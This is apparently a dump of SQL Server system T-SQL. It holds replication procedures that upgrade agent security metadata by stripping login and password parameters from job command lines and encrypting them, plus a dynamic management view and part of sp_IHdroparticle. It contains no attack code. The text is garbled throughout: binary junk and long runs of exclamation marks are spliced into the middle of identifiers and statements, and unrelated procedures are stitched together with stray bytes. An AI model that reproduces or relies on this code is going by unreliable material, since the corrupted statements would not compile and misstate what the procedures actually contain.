			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- ensure that the DistributorSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DistributorSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSlogreader_agents
				SET publisher_security_mode = @publisher_security_mode,
					publisher_login = @publisher_login,
					publisher_password = @publisher_password,
					job_step_uid = @job_step_uid
				WHERE id = @agent_id

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorLogreaderAgents into @agent_id, @publisher, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorLogreaderAgents
		DEALLOCATE cursorLogreaderAgents
	END
	
	-- QREADER AGENTS
	IF OBJECT_ID(N'MSqreader_agents', N'U') IS NOT NULL
	BEGIN
		/*
		 * Here we loop through each qreader agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorQreaderAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msqa.id,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSqreader_agents msqa
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msqa.job_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 19
					AND sjs.subsystem = N'QueueReader' 
					-- Make sure we only upgrade items that are new
					AND msqa.job_step_uid IS NULL

		OPEN cursorQreaderAgents

		FETCH cursorQreaderAgents into @agent_id, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			/*
			 * Remove/Update command-line parameters
			 */
			-- remove the publisher login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherEncryptedPassword')
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- ensure that the DistributorSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DistributorSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSqreader_agents
				SET job_step_uid = @job_step_uid
				WHERE id = @agent_id

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorQreaderAgents into @agent_id, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorQreaderAgents
		DEALLOCATE cursorQreaderAgents
	END

	-- PUSH DISTRIBUTION AGENTS
	IF OBJECT_ID(N'MSdistribution_agents', N'U') IS NOT NULL
	BEGIN
		/*
		 * Here we loop through each distribution agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorDistributionAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msda.id,
					syss1.name,
					syss2.name,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSdistribution_agents msda
					JOIN sys.servers syss1
						ON syss1.server_id = msda.publisher_id
					JOIN sys.servers syss2
						ON syss2.server_id = msda.subscriber_id
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msda.job_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 10
					AND sjs.subsystem = N'Distribution'  
					-- Make sure we only upgrade items that are new
					AND msda.subscriber_security_mode IS NULL
					AND msda.subscriber_login IS NULL
					AND msda.subscriber_password IS NULL
					AND msda.job_step_uid IS NULL

		OPEN cursorDistributionAgents

		FETCH cursorDistributionAgents into @agent_id, @publisher, @subscriber, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @subscriber_security_mode = NULL,
					@subscriber_login = NULL,
					@subscriber_password = NULL
				
			/*
			 *  Retrieve command-line subscriber login info
			 */

			SELECT @subscriber_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscribersecuritymode'

			SELECT @subscriber_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberlogin'

			SELECT @subscriber_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberencryptedpassword'

			IF @subscriber_password IS NULL
			BEGIN
				SELECT @subscriber_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @subscriber_password OUTPUT
				IF @@ERROR <> 0 OR  @ret!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vNcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			
			-- if security_mode is specified on the cmd then use the values
			IF @subscriber_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @subscriber_login IS NOT NULL
				BEGIN
					SELECT @subscriber_security_mode = 0
				END
				-- else use the default subscriber login info if possible
				ELSE IF OBJECT_ID(N'MSsubscriber_info', N'U') IS NOT NULL
				BEGIN
					SELECT @subscriber_security_mode = security_mode,
							@subscriber_login = login,
							@subscriber_password = password
					FROM MSsubscriber_info 
					WHERE UPPER(publisher) = UPPER(@publisher) 
						AND UPPER(subscriber) = UPPER(@subscriber)
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @subscriber_security_mode IS NULL
				OR @subscriber_security_mode = 1
			BEGIN
				SELECT @subscriber_security_mode = 1,
						@subscriber_login = N'',
						@subscriber_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */

			-- remove the subscriber login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberEncryptedPassword')
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- ensure that the DistributorSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DistributorSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSdistribution_agents
				SET subscriber_security_mode = @subscriber_security_mode,
					subscriber_login = @subscriber_login,
					subscriber_password = @subscriber_password,
					job_step_uid = @job_step_uid
				WHERE id = @agent_id

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorDistributionAgents into @agent_id, @publisher, @subscriber, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorDistributionAgents
		DEALLOCATE cursorDistributionAgents
	END

	-- PUSH MERGE AGENTS
	IF OBJECT_ID(N'MSmerge_agents', N'U') IS NOT NULL
	BEGIN
		/*
		 * Here we loop through each merge agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorMergeAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msma.id,
					syss.name,
					msma.subscriber_name,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSmerge_agents msma
					JOIN sys.servers syss
						ON syss.server_id = msma.publisher_id
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msma.job_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 14
					AND sjs.subsystem = N'Merge' 
					-- Make sure we only upgrade items that are new
					AND msma.publisher_security_mode IS NULL
					AND msma.publisher_login IS NULL
					AND msma.publisher_password IS NULL
					AND msma.subscriber_security_mode IS NULL
					AND msma.subscriber_login IS NULL
					AND msma.subscriber_password IS NULL
					AND msma.job_step_uid IS NULL

		OPEN cursorMergeAgents

		FETCH cursorMergeAgents into @agent_id, @publisher, @subscriber, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @publisher_security_mode = NULL,
					@publisher_login = NULL,
					@publisher_password = NULL,
					@subscriber_security_mode = NULL,
					@subscriber_login = NULL,
					@subscriber_password = NULL
			
			/*
			 *  Retrieve command-line publisher and subscriber login info
			 */
			SELECT @publisher_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publishersecuritymode'

			SELECT @publisher_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherlogin'

			SELECT @publisher_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherencryptedpassword'

			IF @publisher_password IS NULL
			BEGIN
				SELECT @publisher_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @publisher_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			SELECT @subscriber_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscribersecuritymode'

			SELECT @subscriber_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberlogin'

			SELECT @subscriber_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberencryptedpassword'

			IF @subscriber_password IS NULL
			BEGIN
				SELECT @subscriber_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'subscriberpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @subscriber_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			-- if security_mode is specified on the cmd then use the values
			IF @publisher_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @publisher_login IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = 0
				END
				-- else use the default publisher login info if possible
				ELSE IF OBJECT_ID(N'msdb.dbo.MSdistpublishers', N'U') IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = security_mode,
							@publisher_login = login,
							@publisher_password = password
						FROM msdb.dbo.MSdistpublishers
						WHERE UPPER(name) = UPPER(@publisher)
							AND distribution_db = DB_NAME()
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @publisher_security_mode IS NULL
				OR @publisher_security_mode = 1
			BEGIN
				SELECT @publisher_security_mode = 1,
						@publisher_login = N'',
						@publisher_password = @junk_password
			END

			-- if security_mode is specified on the cmd then use the values
			IF @subscriber_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @subscriber_login IS NOT NULL
				BEGIN
					SELECT @subscriber_security_mode = 0
				END
				-- else use the default subscriber login info if possible
				ELSE IF OBJECT_ID(N'MSsubscriber_info', N'U') IS NOT NULL
				BEGIN
					SELECT @subscriber_security_mode = security_mode,
							@subscriber_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vCREATE PROCEDURE sys.sp_MSupgrade_subdb_security_metadata
AS
BEGIN
	DECLARE @retcode					int,
			@job_id						uniqueidentifier,
			@job_step_id				int, 
			@job_step_uid				uniqueidentifier,
			@command_line				nvarchar(3200),
			@distributor				sysname,
			@distributor_security_mode	int,
			@distributor_login			sysname,
			@distributor_password		nvarchar(524),
			@publisher					sysname,
			@publisher_db				sysname,
			@publication				sysname,
			@publisher_security_mode	int,
			@publisher_login			sysname,
			@publisher_password			nvarchar(524),
			@junk_password				nvarchar(524)
	
	-- setup a junk_password to be used for security_mode 1	
	SELECT @junk_password = NEWID()

	EXEC @retcode = sys.sp_MSsafe_repl_encrypt @junk_password OUTPUT
	IF @@ERROR <> 0 OR  @retcode <> 0
		RETURN 1
	
	BEGIN TRANSACTION tr_upgrade_subdb
	SAVE TRANSACTION tr_upgrade_subdb
		
	-- PULL DISTRIBUTION AGENTS
	IF OBJECT_ID(N'MSreplication_subscriptions', N'U') IS NOT NULL
		AND OBJECT_ID(N'MSsubscription_properties', N'U') IS NOT NULL
	BEGIN	
		/*
		 * Here we loop through each distribution agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorDistributionAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msrs.publisher,
					msrs.publisher_db,
					msrs.publication,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSreplication_subscriptions msrs
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msrs.agent_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 10
					AND sjs.subsystem = N'Distribution' 
					
		OPEN cursorDistributionAgents

		FETCH cursorDistributionAgents into @publisher, @publisher_db, @publication, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @distributor_security_mode = NULL,
					@distributor_login = NULL,
					@distributor_password = NULL
				
			/*
			 *  Retrieve command-line distributor login info
			 */

			SELECT @distributor_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorsecuritymode'

			SELECT @distributor_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorlogin'

			SELECT @distributor_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorencryptedpassword'

			IF @distributor_password IS NULL
			BEGIN
				SELECT @distributor_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @distributor_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			
			-- if security_mode is specified on the cmd then use the values
			IF @distributor_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @distributor_login IS NOT NULL
				BEGIN
					SELECT @distributor_security_mode = 0
				END
				-- else use whatever is in the table since it may have been upgraded already
				ELSE
				BEGIN					
					SELECT @distributor_security_mode = distributor_security_mode,
							@distributor_login = distributor_login,
							@distributor_password = distributor_password
					FROM MSsubscription_properties 
					WHERE UPPER(publisher) = UPPER(@publisher)
						AND publisher_db = @publisher_db
						AND publication = @publication
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @distributor_security_mode IS NULL
				OR @distributor_security_mode = 1
			BEGIN
				SELECT @distributor_security_mode = 1,
						@distributor_login = N'',
						@distributor_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- remove the subscriber login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberEncryptedPassword')
		
			-- ensure that the SubscriberSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'SubscriberSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSsubscription_properties
				SET distributor_security_mode = @distributor_security_mode,
					distributor_login = @distributor_login,
					distributor_password = @distributor_password,
					job_step_uid = @job_step_uid
                WHERE UPPER(publisher) = UPPER(@publisher)
                    AND publisher_db = @publisher_db
                    AND (publication = @publication
                    	OR UPPER(publication) = N'ALL')

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorDistributionAgents into @publisher, @publisher_db, @publication, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorDistributionAgents
		DEALLOCATE cursorDistributionAgents
	END

	-- PULL MERGE 
	IF OBJECT_ID(N'MSmerge_replinfo', N'U') IS NOT NULL
		AND OBJECT_ID(N'sysmergesubscriptions', N'U') IS NOT NULL
		AND OBJECT_ID(N'sysmergepublications', N'U') IS NOT NULL
		AND OBJECT_ID(N'MSsubscription_properties', N'U') IS NOT NULL
	BEGIN		
		/*
		 * Here we loop through each merge agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorMergeAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT smp.publisher,
					smp.publisher_db,
					smp.name,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSmerge_replinfo msmr
					JOIN sysmergesubscriptions sms
						ON msmr.repid = sms.subid
					JOIN sysmergepublications smp
						ON sms.pubid = smp.pubid
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msmr.merge_jobid
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 14
					AND sjs.subsystem = N'Merge' 

		OPEN cursorMergeAgents

		FETCH cursorMergeAgents into @publisher, @publisher_db, @publication, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @distributor_security_mode = NULL,
					@distributor_login = NULL,
					@distributor_password = NULL,
					@publisher_security_mode = NULL,
					@publisher_login = NULL,
					@publisher_password = NULL
				
			/*
			 *  Retrieve command-line distributor login info
			 */
			
			SELECT @distributor_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorsecuritymode'

			SELECT @distributor_login = arguments
				FROM sys.fn_getparameterv!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Xalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorlogin'

			SELECT @distributor_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorencryptedpassword'

			IF @distributor_password IS NULL
			BEGIN
				SELECT @distributor_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'distributorpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @distributor_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			SELECT @publisher_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publishersecuritymode'

			SELECT @publisher_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherlogin'

			SELECT @publisher_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherencryptedpassword'

			IF @publisher_password IS NULL
			BEGIN
				SELECT @publisher_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @publisher_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			
			-- if security_mode is specified on the cmd then use the values
			IF @distributor_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @distributor_login IS NOT NULL
				BEGIN
					SELECT @distributor_security_mode = 0
				END
				-- else use whatever is in the table since it may have been upgraded already
				ELSE
				BEGIN					
					SELECT @distributor_security_mode = distributor_security_mode,
							@distributor_login = distributor_login,
							@distributor_password = distributor_password
					FROM MSsubscription_properties 
					WHERE UPPER(publisher) = UPPER(@publisher)
						AND publisher_db = @publisher_db
						AND publication = @publication
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @distributor_security_mode IS NULL
				OR @distributor_security_mode = 1
			BEGIN
				SELECT @distributor_security_mode = 1,
						@distributor_login = N'',
						@distributor_password = @junk_password
			END
			
			-- if security_mode is specified on the cmd then use the values
			IF @publisher_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @publisher_login IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = 0
				END
				-- else use whatever is in the table since it may have been upgraded already
				ELSE
				BEGIN					
					SELECT @publisher_security_mode = publisher_security_mode,
							@publisher_login = publisher_login,
							@publisher_password = publisher_password
					FROM MSsubscription_properties 
					WHERE UPPER(publisher) = UPPER(@publisher)
						AND publisher_db = @publisher_db
						AND publication = @publication
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @publisher_security_mode IS NULL
				OR @publisher_security_mode = 1
			BEGIN
				SELECT @publisher_security_mode = 1,
						@publisher_login = N'',
						@publisher_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')
			
			-- remove the publisher login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherEncryptedPassword')

			-- remove the subscriber login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberEncryptedPassword')
		
			-- ensure that the SubscriberSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'SubscriberSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSsubscription_properties
				SET distributor_security_mode = @distributor_security_mode,
					distributor_login = @distributor_login,
					distributor_password = @distributor_password,
					publisher_security_mode = @publisher_security_mode,
					publisher_login = @publisher_login,
					publisher_password = @publisher_password,
					job_step_uid = @job_step_uid
                WHERE UPPER(publisher) = UPPER(@publisher)
                    AND publisher_db =  @publisher_db
                    AND publication = @publication

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorMergeAgents into @publisher, @publisher_db, @publication, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorMergeAgents
		DEALLOCATE cursorMergeAgents
	END
	
	COMMIT TRANSACTION tr_upgrade_subdb

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_upgr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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A0v@ ~8CREATE VIEW sys.dm_hadr_auto_page_repair AS
	SELECT database_id AS database_id,
		file_id AS file_id,
		page_id AS page_id,
		error_type AS error_type,
		page_status AS page_status,
		modification_time AS modification_time
	FROM OpenRowset(TABLE DM_HADR_AUTO_PAGE_REPAIR)
	WHERE database_id < 0x7fff
		AND has_access('DB', database_id) = 1
0w 78
--
-- Name:    
--          sp_IHdroparticle
--          
-- Description: 
--          HREPL specific logic for dropping an article
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 
-- Notes:
--			This SP is designed to be called by sp_droparticle. It should not be called stand-alone.
--			It is also called in sp_addarticle if the SP fails after sp_IHaddarticle completes successfully.
--			This routine will only remove the article the heterogenous tables. sp_MSdroparticle must be called
--			to complete removal of the article.  Pass either the article name or ID.  If @article_ID is NULL
--			then @article is used to look it up.


CREATE PROCEDURE sys.sp_IHdroparticle
(
	@publisher	 	sysname,
	@publisher_db	sysname,
	@publication 	sysname,
	@article	 	sysname
)
AS
BEGIN
	DECLARE	@publisher_id	int,
			@article_id		int,
			@source_owner	sysname,
			@source_table	sysname,
			@publication_id int,
			@retcode 		int

	--
	-- Parameter check: publisher
	--
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_IHdroparticle')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publisher

    IF @retcode <> 0
	    RETURN (1)

	--
	-- Look up publisher ID
	--
	SELECT	@publisher_id = srvid
	FROM	master..sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default    

	IF @@ERROR <> 0
		RETURN (1)

	IF @publisher_id is NULL
	BEGIN
		raiserror(14080, 16, -1, @publisher)
		return (1)
	END

	--
	-- Parameter check: publication
	--
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_IHdroparticle')
        RETURN (1)
    END

	--
	-- Look up publication ID
	--
	SELECT @publication_id = publication_id
	FROM   MSpublications
	WHERE  publication = @publication
	AND	   publisher_id = @publisher_id	

	IF @@ERROR <> 0
		RETURN (1)

	IF @publication_id is NULL
	BEGIN
		raiserror(20026, 16, -1, @publication)
		return (1)
	END

	--
	-- Parameter check: article
	--
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_IHdroparticle')
        RETURN (1)
    END

	SELECT	@article_id   = iha.article_id,
			@source_owner = ihpt.owner,
			@source_table = ihpt.name
	FROM  	IHarticles iha,
			IHpublishertables ihpt
	WHERE	iha.table_id = ihpt.table_id
	  AND	iha.name = @article
	  AND	publication_id = @publication_id

	IF @@ERROR <> 0
		RETURN (1)

	IF @article_id is NULL
	BEGIN
		raiserror(20027, 16, -1, @article)
		return (1)
	END

	-- 
	-- Delete the published columns
	--
	DELETE	IHcolumns 
	FROM	IHcolumns ihc
	JOIN	IHpublishercolumns ihpc ON ihc.publishercolumn_id = ihpc.publishercolumn_id
